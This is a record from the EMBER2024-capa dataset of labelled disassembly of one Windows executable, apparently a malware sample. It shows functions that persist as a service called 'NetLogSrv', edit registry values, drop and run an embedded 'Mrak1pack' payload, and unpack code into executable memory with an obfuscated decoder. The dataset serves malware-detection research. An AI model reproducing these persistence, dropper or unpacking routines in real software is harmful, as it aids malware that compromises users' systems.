joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d0b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x10c], 0x20019
mov dword [ebp - 4], 0xfe
mov dword [ebp - 0x108], 1
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
push 0
mov ecx, dword [ebp + 0xc]
call fcn.00402480
push eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x108]
push edx
push 0
mov ecx, dword [ebp + 0x10]
call fcn.00402480
push eax
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x110], eax
lea ecx, [ebp - 0x104]
push ecx
mov ecx, dword [ebp + 0x14]
call fcn.004010a7
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x110], 0
jne 0x401dab
mov al, 1
jmp 0x401dad
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401db1
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0xf003f
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
mov ecx, dword [ebp + 0xc]
call fcn.00402480
push eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp + 0x10]
call fcn.00402480
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0x401e05
mov al, 1
jmp 0x401e07
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x403601
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x4092a0
call fcn.00404738
sub esp, 0x34
push esi
push edi
mov esi, str.Mrak1pack
lea eax, [ebp - 0x28]
xor edi, edi
push esi
push eax
mov dword [ebp - 4], edi
call fcn.004041e0
lea eax, [ebp - 0x40]
push esi
push eax
mov byte [ebp - 0x1a], 4
call fcn.004041e0
lea eax, [ebp + 8]
mov byte [ebp - 0x32], 4
push eax
call fcn.00401c15
mov esi, eax
add esp, 0x14
cmp esi, edi
je 0x403696
push 2
push edi
push 0xffffffffffffffe8
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0x28]
push 0x18
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00404a00
pop ecx
test eax, eax
pop ecx
jne 0x403696
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], edi
je 0x403692
push dword [ebp + 8]
call fcn.00404359
pop ecx
mov al, 1
jmp 0x4036aa
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], edi
je 0x4036a8
push dword [ebp + 8]
call fcn.00404359
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x403e49
Capabilities:
Check if file exists
Create directory
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
lea eax, [ebp - 0x34]
push str.Mrak1pack
push eax
call fcn.004041e0
pop ecx
xor esi, esi
pop ecx
mov byte [ebp - 0x26], 4
push esi
push str.mrakcontrolWndClass
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x403edc
push 0x44
lea eax, [ebp - 0x78]
pop edi
push edi
push esi
push eax
call fcn.00404760
push 0x10
lea eax, [ebp - 0x1c]
push esi
push eax
mov dword [ebp - 0x78], edi
call fcn.00404760
add esp, 0x18
push dword [0x40c840]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403ee3
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x78]
push eax
push dword [0x40c860]
push esi
push esi
push esi
push esi
push esi
push esi
push dword [0x40c840]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403ee3
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
push 0x40c860
call fcn.00401aef
test al, al
pop ecx
jne 0x403eff
push esi
push dword [0x40c860]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x40c810
call fcn.00401c15
mov edi, eax
pop ecx
cmp edi, esi
mov dword [ebp - 4], edi
je 0x403f61
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push esi
push 0xffffffffffffffe8
push edi
call ebx
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x34]
push 0x18
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
call edi
push 2
push esi
push 0xffffffffffffffe8
pop eax
sub eax, dword [ebp - 0x20]
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x34]
push str.Control
push eax
call fcn.00404a00
pop ecx
test eax, eax
pop ecx
je 0x403f68
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403ede
push 0x40c840
call fcn.00401bdc
cmp eax, esi
pop ecx
mov dword [ebp - 0xc], eax
je 0x403f58
push dword [ebp - 0x24]
call fcn.0040434b
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push esi
push eax
push dword [ebp - 0x20]
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [ebp - 8]
push esi
push eax
push dword [ebp - 0x20]
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call edi
push 0x44
lea eax, [ebp - 0x78]
pop ebx
push ebx
push esi
push eax
call fcn.00404760
push 0x10
lea eax, [ebp - 0x1c]
push esi
push eax
mov dword [ebp - 0x78], ebx
call fcn.00404760
add esp, 0x18
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x78]
push eax
push dword [0x40c860]
push esi
push esi
push esi
push esi
push esi
push esi
push dword [0x40c840]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403f61
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call edi
jmp 0x403edc
Function at 0x40400c
Capabilities:
Create service
Persist via windows service

Disassembly:
mov eax, 0x409364
call fcn.00404738
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [ebp - 0x20]
call section..text
push ebx
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call section..text
push 0x40c810
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040106a
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x4040aa
mov edi, 0xf01ff
mov esi, str.NetLogSrv
push edi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, ebx
je 0x404078
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4040aa
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x18]
push ebx
push 2
push 0x110
push edi
push 0x40c200
push esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
je 0x4040aa
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push dword [ebp - 0x10]
call esi
cmp dword [ebp - 0x18], ebx
mov byte [ebp - 4], bl
je 0x4040bb
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], ebx
je 0x4040d0
push dword [ebp - 0x20]
call fcn.00404359
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4040df
Capabilities:
Modify service

Disassembly:
mov eax, 0x409378
call fcn.00404738
push ecx
push ecx
push ebx
push esi
xor esi, esi
push edi
push esi
lea ecx, [ebp - 0x14]
call section..text
push 0x40c810
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call fcn.0040106a
push 2
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, esi
je 0x40415f
push 2
push str.NetLogSrv
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
cmp edi, esi
jne 0x40413b
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.0040400c
jmp 0x40415f
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0x14]
push esi
push 2
push 0x110
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], esi
je 0x404171
push dword [ebp - 0x14]
call fcn.00404359
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x404180
Capabilities:
Delete service

Disassembly:
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4041c7
push 0x10000
push str.NetLogSrv
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4041b4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4041c7
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
ret
Function at 0x4067e5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c610
cmp edx, dword [eax]
je 0x406807
add eax, 8
inc ecx
cmp eax, 0x40c6a0
jl 0x4067f8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c610]
jne 0x406935
mov eax, dword [0x40c890]
cmp eax, 1
je 0x40690f
test eax, eax
jne 0x406838
cmp dword [0x40c254], 1
je 0x40690f
cmp edx, 0xfc
je 0x406935
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40686f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004041e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004042d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4068b2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004042d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40a54c
push edi
call fcn.004084d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004041e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004041f0
lea eax, [ebp - 0xa0]
push 0x40a52c
push eax
call fcn.004041f0
push dword [esi + 0x40c614]
lea eax, [ebp - 0xa0]
push eax
call fcn.004041f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408610
add esp, 0x2c
pop edi
jmp 0x406935
lea eax, [ebp + 8]
lea esi, [esi + 0x40c614]
push 0
push eax
push dword [esi]
call fcn.004042d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x404560
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x404646
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x404635
jg 0x4045a0
test edx, edx
je 0x404635
nop dword [eax]
call fcn.00405ec0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x4045f4
jg 0x4045b7
test esi, esi
je 0x4045f4
cmp ebx, eax
jg 0x4045c7
jl 0x4045c1
cmp edi, esi
jae 0x4045c7
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.0040c910
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x404619
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x40462f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x4045a0
jl 0x40462f
test edi, edi
jne 0x4045a0
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x404668
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x40466a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x4046e8
jg 0x40467d
test esi, esi
je 0x4046e8
test eax, eax
jl 0x4046cc
jg 0x404687
test ebx, ebx
je 0x4046cc
cmp edi, eax
jg 0x404697
jl 0x404691
cmp esi, ebx
jae 0x404697
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.0040c910
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x4046e8
jg 0x4046cf
test esi, esi
je 0x4046e8
jmp 0x4046cf
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x4046e8
push eax
push esi
push 1
push edx
call fcn.00413745
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404700
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x404732
jl 0x404725
test ecx, ecx
jne 0x404732
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4047f2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00405ee0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x40479e
jg 0x40475d
test esi, esi
je 0x40479e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x404775
mov eax, dword [esp + 0x10]
jl 0x40476f
cmp eax, esi
jae 0x404775
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.0040c910
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x4047bf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x4047db
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x404744
jl 0x4047db
test ecx, ecx
jne 0x404744
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x404831
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x404831
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.0040c910
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x4048a0
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x404857
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x404889
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.00413d9c
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x4048b4
cmp edi, eax
ja 0x404865
test ecx, ecx
je 0x4048a0
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.00413d9c
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404c20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x43e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x404c50
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x404c8c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x404c8c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x404d74
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x404cb4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x404ce7
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.00412852
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x404d47
sub eax, 1
je 0x404d47
sub eax, 2
jne 0x404d74
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.00412852
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404d64
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00413745
add esp, 0x10
cmp edi, eax
jne 0x404d74
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x404c77
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret 4
Function at 0x405bf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x43e008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x405caa
cmp byte [esi + 0x3d], 0
je 0x405caa
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x405c98
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x405c60
sub eax, 1
je 0x405c64
sub eax, 2
jne 0x405c98
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x405c81
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00413745
add esp, 0x10
cmp edi, eax
jne 0x405c98
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040a3c5
mov esp, ebp
pop ebp
ret

Function at 0x4062c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d850
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x43e008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040a5d0
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0040b3ae
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f5ed
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f463

Function at 0x423166
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00422cb9
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x402c00
pop dword [ebp - 0x20]
mov eax, 0x402c00
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x4dea905c
sub dword [ebp - 0x30], 0xff984b11
mov dword [ebp - 0x2c], 0x36e4eff6
add dword [ebp - 0x2c], 0xfb4e5c4f
mov dword [ebp - 0x28], 0xbc822dfc
sub dword [ebp - 0x28], 0x7035e9ce
mov dword [ebp - 0x24], 0xc4278827
add dword [ebp - 0x24], 0x3bd877d9
lea eax, [ebp - 0x30]
push eax
mov eax, 0x7da0a425
add eax, 0x829fcc3f
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x8ebcbc6a
sub dword [ebp - 0x30], 0x1a4a5314
mov dword [ebp - 0x2c], 0xd65e7965
add dword [ebp - 0x2c], 0x6b0de810
mov dword [ebp - 0x28], 0xa2cd9c04
add dword [ebp - 0x28], 0xc0a1d068
mov dword [ebp - 0x24], 0xf50028b7
sub dword [ebp - 0x24], 0xf50028b7
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xe17c12cc
sub eax, 0xe13ba224
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x36e6e
push 0
call eax
mov ecx, 0xfc5abab3
sub ecx, 0xfc5a71d9
xor ebx, ebx
add ebx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x20]
mov edx, 0xf5275b0f
sub edx, 0x9420e535
add dword [ebp - 0x1c], 0x41d69590
mov edi, dword [esi]
sub dword [ebp - 0x10], eax
sub edi, edx
xor dword [ebp - 0x10], 0xf09f9af2
mov dword [ebx], edi
xor dword [ebp - 0x1c], edx
add ebx, 4
add esi, 0x7f6953c5
sub esi, 0x7f6953c1
loop 0x402d19
add eax, 0x2b77f1fa
add eax, 0xd4892441
xor ebx, ebx
add ebx, eax
add eax, 0x4e6e0295
sub eax, 0x4e6e0290
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret